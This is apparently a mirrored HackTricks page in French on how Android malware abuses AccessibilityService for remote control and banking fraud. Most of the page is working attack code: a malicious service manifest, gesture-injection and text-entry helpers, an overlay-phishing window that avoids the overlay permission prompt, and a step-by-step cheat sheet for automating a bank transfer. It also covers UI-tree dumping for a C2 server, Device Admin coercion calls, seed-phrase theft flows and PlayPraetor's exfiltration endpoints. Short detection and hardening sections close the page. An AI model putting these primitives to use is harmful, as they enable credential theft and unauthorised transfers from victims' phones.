mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
232 lines
12 KiB
Markdown
232 lines
12 KiB
Markdown
# Abus du service d'accessibilité Android
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Vue d'ensemble
|
||
|
||
`AccessibilityService` a été créé pour aider les utilisateurs en situation de handicap à interagir avec les appareils Android. Malheureusement, les mêmes **API d'automatisation puissantes** (navigation globale, saisie de texte, dispatch de gestes, fenêtres d'overlay…) peuvent être détournées par des malwares pour obtenir un **contrôle total à distance** du téléphone _sans privilèges root_.
|
||
|
||
Les trojans bancaires Android modernes et les Remote-Access-Trojans (RATs) tels que **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** et bien d'autres suivent la même recette :
|
||
|
||
1. Amener la victime par ingénierie sociale à activer un service d'accessibilité malveillant (la *BIND_ACCESSIBILITY_SERVICE* permission est considérée comme "à haut risque" et nécessite une action explicite de l'utilisateur).
|
||
2. Exploiter le service pour
|
||
* capturer chaque événement UI et tout texte affiché à l'écran,
|
||
* injecter des gestes synthétiques (`dispatchGesture`) et des actions globales (`performGlobalAction`) pour automatiser toute tâche désirée par l'opérateur,
|
||
* dessiner des overlays plein écran au-dessus d'apps légitimes en utilisant le type de fenêtre **TYPE_ACCESSIBILITY_OVERLAY** (pas de prompt `SYSTEM_ALERT_WINDOW` !),
|
||
* accorder silencieusement des permissions runtime supplémentaires en cliquant sur les dialogues système au nom de la victime.
|
||
3. Exfiltrer des données ou réaliser du **On-Device-Fraud (ODF)** en temps réel pendant que l'utilisateur regarde un écran apparemment normal.
|
||
|
||
---
|
||
|
||
## Demander la permission
|
||
```xml
|
||
<!-- AndroidManifest.xml -->
|
||
<service
|
||
android:name="com.evil.rat.EvilService"
|
||
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
|
||
android:exported="false">
|
||
|
||
<intent-filter>
|
||
<action android:name="android.accessibilityservice.AccessibilityService" />
|
||
</intent-filter>
|
||
|
||
<meta-data android:name="android.accessibilityservice"
|
||
android:resource="@xml/evil_accessibility_config"/>
|
||
</service>
|
||
```
|
||
Le XML compagnon définit à quoi ressemblera la fausse boîte de dialogue :
|
||
```xml
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||
android:description="@string/service_description"
|
||
android:accessibilityEventTypes="typeAllMask"
|
||
android:accessibilityFeedbackType="feedbackGeneric"
|
||
android:notificationTimeout="200"
|
||
android:canPerformGestures="true"
|
||
android:canRetrieveWindowContent="true"/>
|
||
```
|
||
---
|
||
## Primitives d'automatisation de l'interface utilisateur à distance
|
||
```java
|
||
public class EvilService extends AccessibilityService {
|
||
@Override
|
||
public void onAccessibilityEvent(AccessibilityEvent event) {
|
||
// harvest text or detect foreground app change
|
||
}
|
||
|
||
// Simulate HOME / BACK / RECENTS …
|
||
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
|
||
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
|
||
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
|
||
|
||
// Generic tap / swipe
|
||
public void tap(float x, float y) {
|
||
Path p = new Path(); p.moveTo(x, y);
|
||
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
|
||
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
|
||
}
|
||
}
|
||
```
|
||
Avec seulement ces deux APIs, un attaquant peut :
|
||
* Déverrouiller l'écran, ouvrir l'application bancaire, parcourir son arbre UI et soumettre un formulaire de virement.
|
||
* Accepter toutes les boîtes de dialogue de permission qui s'affichent.
|
||
* Installer/mettre à jour des APK supplémentaires via l'intent Play Store.
|
||
|
||
---
|
||
|
||
## Schémas d'abus
|
||
|
||
### 1. Overlay Phishing (Credential Harvesting)
|
||
Un `WebView` transparent ou opaque est ajouté au window manager :
|
||
```java
|
||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||
MATCH_PARENT, MATCH_PARENT,
|
||
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
|
||
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
|
||
PixelFormat.TRANSLUCENT);
|
||
wm.addView(phishingView, lp);
|
||
```
|
||
La victime saisit ses identifiants dans le formulaire factice pendant que l'app en arrière-plan reçoit les mêmes gestes – aucune invite suspecte "draw over other apps" n'est jamais affichée.
|
||
|
||
> Exemple détaillé : la section *Accessibility Overlay Phishing* à l'intérieur de la page Tapjacking.
|
||
|
||
### 2. Automatisation de la fraude sur l'appareil
|
||
Des familles de malware telles que **PlayPraetor** maintiennent un canal WebSocket persistant où l'opérateur peut émettre des commandes de haut niveau (`init`, `update`, `alert_arr`, `report_list`, …). Le service traduit ces commandes en gestes bas-niveau décrits ci-dessus, réalisant des transactions non autorisées en temps réel qui contournent facilement la multi-factor-authentication liée à cet appareil.
|
||
|
||
### 3. Screen streaming & monitoring
|
||
En combinant la **MediaProjection API** avec une librairie cliente RTMP, le RAT peut diffuser le framebuffer en direct vers `rtmp://<c2>:1935/live/<device_id>`, offrant à l'adversaire une parfaite conscience situationnelle pendant que le moteur Accessibility pilote l'UI.
|
||
|
||
---
|
||
|
||
## PlayPraetor – workflow de command & control
|
||
|
||
1. **HTTP(S) heartbeat** – itère sur une liste codée en dur jusqu'à ce qu'un domaine réponde à `POST /app/searchPackageName` avec le C2 actif.
|
||
2. **WebSocket (port 8282)** – commandes JSON bidirectionnelles :
|
||
* `update` – push de nouvelles conf/APKs
|
||
* `alert_arr` – configurer les templates d'overlay
|
||
* `report_list` – envoyer la liste des noms de packages ciblés
|
||
* `heartbeat_web` – keep-alive
|
||
3. **RTMP (port 1935)** – streaming d'écran/vidéo en direct.
|
||
4. **REST exfiltration** –
|
||
* `/app/saveDevice` (fingerprint)
|
||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||
* `/app/saveCardPwd` (bank creds)
|
||
|
||
Le **AccessibilityService** est le moteur local qui transforme ces commandes cloud en interactions physiques.
|
||
|
||
---
|
||
|
||
## Détection des services Accessibility malveillants
|
||
|
||
* `adb shell settings get secure enabled_accessibility_services`
|
||
* Settings → Accessibility → *Downloaded services* – rechercher des apps qui ne proviennent **pas** de Google Play.
|
||
* Les solutions MDM / EMM peuvent imposer `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) pour bloquer les services sideloadés.
|
||
* Analyser les services en cours d'exécution :
|
||
```bash
|
||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||
```
|
||
|
||
---
|
||
|
||
## Recommandations de durcissement pour les développeurs d'apps
|
||
|
||
* Marquer les vues sensibles avec `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
||
* Combiner `setFilterTouchesWhenObscured(true)` avec `FLAG_SECURE` pour prévenir le détournement de tap/overlay.
|
||
* Détecter les overlays en sondant `WindowManager.getDefaultDisplay().getFlags()` ou l'API `ViewRootImpl`.
|
||
* Refuser de fonctionner lorsque `Settings.canDrawOverlays()` **ou** un Accessibility service non approuvé est actif.
|
||
|
||
---
|
||
|
||
## Aide-mémoire d'automatisation ATS (Accessibility-driven)
|
||
Le malware peut automatiser complètement une application bancaire uniquement avec les Accessibility APIs. Primitives génériques :
|
||
```java
|
||
// Helpers inside your AccessibilityService
|
||
private List<AccessibilityNodeInfo> byText(String t){
|
||
AccessibilityNodeInfo r = getRootInActiveWindow();
|
||
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
|
||
}
|
||
private boolean clickText(String t){
|
||
for (AccessibilityNodeInfo n: byText(t)){
|
||
if (n.isClickable()) return n.performAction(ACTION_CLICK);
|
||
AccessibilityNodeInfo p = n.getParent();
|
||
if (p != null) return p.performAction(ACTION_CLICK);
|
||
}
|
||
return false;
|
||
}
|
||
private void inputText(AccessibilityNodeInfo field, String text){
|
||
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
|
||
field.performAction(ACTION_SET_TEXT, b);
|
||
}
|
||
private void tap(float x, float y){
|
||
Path p = new Path(); p.moveTo(x,y);
|
||
dispatchGesture(new GestureDescription.Builder()
|
||
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
|
||
}
|
||
```
|
||
Exemple de flux (tchèque → étiquettes en anglais) :
|
||
- "Nová platba" (Nouveau paiement) → cliquer
|
||
- "Zadat platbu" (Saisir le paiement) → cliquer
|
||
- "Nový příjemce" (Nouveau bénéficiaire) → cliquer
|
||
- "Domácí číslo účtu" (Numéro de compte national) → mettre le focus et `ACTION_SET_TEXT`
|
||
- "Další" (Suivant) → cliquer → … "Zaplatit" (Payer) → cliquer → saisir le PIN
|
||
|
||
Fallback : coordonnées codées en dur avec `dispatchGesture` lorsque la recherche de texte échoue en raison de widgets personnalisés.
|
||
|
||
Observé aussi : des étapes préalables appelant check_limit et limit en naviguant dans l'interface des limites et en augmentant les limites journalières avant le transfert.
|
||
|
||
## Pseudo-streaming d'écran textuel
|
||
Pour le contrôle à distance à faible latence, au lieu d'un streaming vidéo complet, extraire une représentation textuelle de l'arbre UI courant et l'envoyer de façon répétée au C2.
|
||
```java
|
||
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
|
||
if (n==null) return;
|
||
Rect b = new Rect(); n.getBoundsInScreen(b);
|
||
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
|
||
sb.append(indent).append("[").append(cls).append("] ")
|
||
.append(txt==null?"":txt).append(" ")
|
||
.append(b.toShortString()).append("\n");
|
||
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
|
||
}
|
||
```
|
||
Ceci constitue la base pour des commandes comme `txt_screen` (one-shot) et `screen_live` (continuous).
|
||
|
||
## Device Admin coercion primitives
|
||
Une fois qu'un Device Admin receiver est activé, ces appels augmentent les opportunités de capturer des credentials et de maintenir le contrôle :
|
||
```java
|
||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
|
||
ComponentName admin = new ComponentName(this, AdminReceiver.class);
|
||
|
||
// 1) Immediate lock
|
||
dpm.lockNow();
|
||
|
||
// 2) Force credential change (expire current PIN/password)
|
||
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
|
||
|
||
// 3) Disable biometric unlock to force PIN/pattern entry
|
||
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
|
||
dpm.setKeyguardDisabledFeatures(admin, flags);
|
||
```
|
||
Note : la disponibilité exacte de ces politiques varie selon la version d'Android et l'OEM ; validez le rôle de la device policy (admin vs owner) pendant les tests.
|
||
|
||
## Crypto wallet seed-phrase extraction patterns
|
||
Flux observés pour MetaMask, Trust Wallet, Blockchain.com et Phantom :
|
||
- Déverrouiller avec le PIN volé (capturé via overlay/Accessibility) ou le mot de passe du wallet fourni.
|
||
- Naviguer : Paramètres → Sécurité/Récupération → Révéler/Afficher la phrase de récupération.
|
||
- Récupérer la phrase via keylogging des nœuds de texte, contournement de secure-screen, ou OCR de capture d'écran lorsque le texte est masqué.
|
||
- Prendre en charge plusieurs locales (EN/RU/CZ/SK) pour stabiliser les sélecteurs – préférer `viewIdResourceName` quand disponible, sinon se rabattre sur la correspondance de texte multilingue.
|
||
|
||
## NFC-relay orchestration
|
||
Les modules Accessibility/RAT peuvent installer et lancer une app dédiée de NFC-relay (p. ex. NFSkate) comme troisième étape et même injecter un guide en overlay pour accompagner la victime à travers les étapes de relai avec carte présente.
|
||
|
||
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
|
||
|
||
---
|
||
|
||
## Références
|
||
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|